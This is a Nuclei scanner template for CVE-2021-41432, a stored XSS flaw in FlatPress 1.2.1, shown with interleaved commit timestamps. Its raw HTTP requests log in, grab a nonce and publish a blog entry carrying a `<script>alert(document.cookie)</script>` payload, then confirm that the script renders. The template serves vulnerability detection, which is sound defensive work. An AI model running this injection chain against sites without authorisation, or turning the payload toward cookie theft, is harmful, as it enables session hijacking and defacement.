nuclei-templates/http/cves/2021/CVE-2021-41432.yaml

82 lines
3.0 KiB
YAML
Raw Normal View History

2022-10-13 10:40:05 +00:00
id: CVE-2021-41432
info:
name: FlatPress 1.2.1 - Stored Cross-Site Scripting
2022-10-13 10:40:05 +00:00
author: arafatansari
severity: medium
description: |
FlatPress 1.2.1 contains a stored cross-site scripting vulnerability that allows for arbitrary execution of JavaScript commands through blog content. An attacker can possibly steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to potential data theft, session hijacking, or defacement of the website.
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade to the latest version of FlatPress (1.2.2) or apply the provided patch to fix the XSS vulnerability.
2022-10-13 10:40:05 +00:00
reference:
2022-10-14 06:35:11 +00:00
- https://github.com/flatpressblog/flatpress/issues/88
- https://nvd.nist.gov/vuln/detail/CVE-2021-41432
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
2022-10-14 06:35:11 +00:00
cve-id: CVE-2021-41432
cwe-id: CWE-79
epss-score: 0.00067
epss-percentile: 0.27822
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:flatpress:flatpress:1.2.1:*:*:*:*:*:*:*
2022-10-13 10:40:05 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 12:09:01 +00:00
max-request: 4
2023-07-11 19:49:27 +00:00
vendor: flatpress
product: flatpress
2023-09-06 12:09:01 +00:00
shodan-query: http.html:"Flatpress"
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,flatpress,xss,authenticated,oss,intrusive
2022-10-13 10:40:05 +00:00
http:
2022-10-13 10:40:05 +00:00
- raw:
- |
POST /login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp
------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition: form-data; name="user"
2022-10-14 06:35:11 +00:00
{{username}}
2022-10-13 10:40:05 +00:00
------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition: form-data; name="pass"
2022-10-14 06:35:11 +00:00
{{password}}
2022-10-13 10:40:05 +00:00
------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition: form-data; name="submit"
Login
------WebKitFormBoundarykGJmx9vKsePrMkVp--
2022-10-14 06:35:11 +00:00
- |
GET /admin.php?p=entry&action=write HTTP/1.1
Host: {{Hostname}}
2022-10-13 10:40:05 +00:00
- |
POST /admin.php?p=entry&action=write HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-10-14 06:35:11 +00:00
_wpnonce={{nonce}}&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd&timestamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish
2022-10-13 10:40:05 +00:00
- |
2022-10-14 06:35:11 +00:00
GET /index.php/2022/10 HTTP/1.1
2022-10-13 10:40:05 +00:00
Host: {{Hostname}}
matchers:
2022-10-14 06:35:11 +00:00
- type: dsl
dsl:
2023-07-11 19:49:27 +00:00
- contains(body_4, '<p><script>alert(document.cookie)</script></p>')
- contains(body_4, 'FlatPress')
- contains(header_4, 'text/html')
- status_code_4 == 200
2022-10-13 10:42:23 +00:00
condition: and
2022-10-14 06:35:11 +00:00
extractors:
- type: regex
name: nonce
group: 1
regex:
2023-07-11 19:49:27 +00:00
- name="_wpnonce" value="([0-9a-z]+)" />
internal: true
part: body
# digest: 4b0a00483046022100e584a3ae94ce0ab2e27ebdcd987675527be8d29583fd1d7b4d5b8a3be68b6e9b022100f0ab5de807ca515f3608183027b1ddb156770346921ae3a12c150c968941bd6c:922c64590222798bb761d5b6d8e72950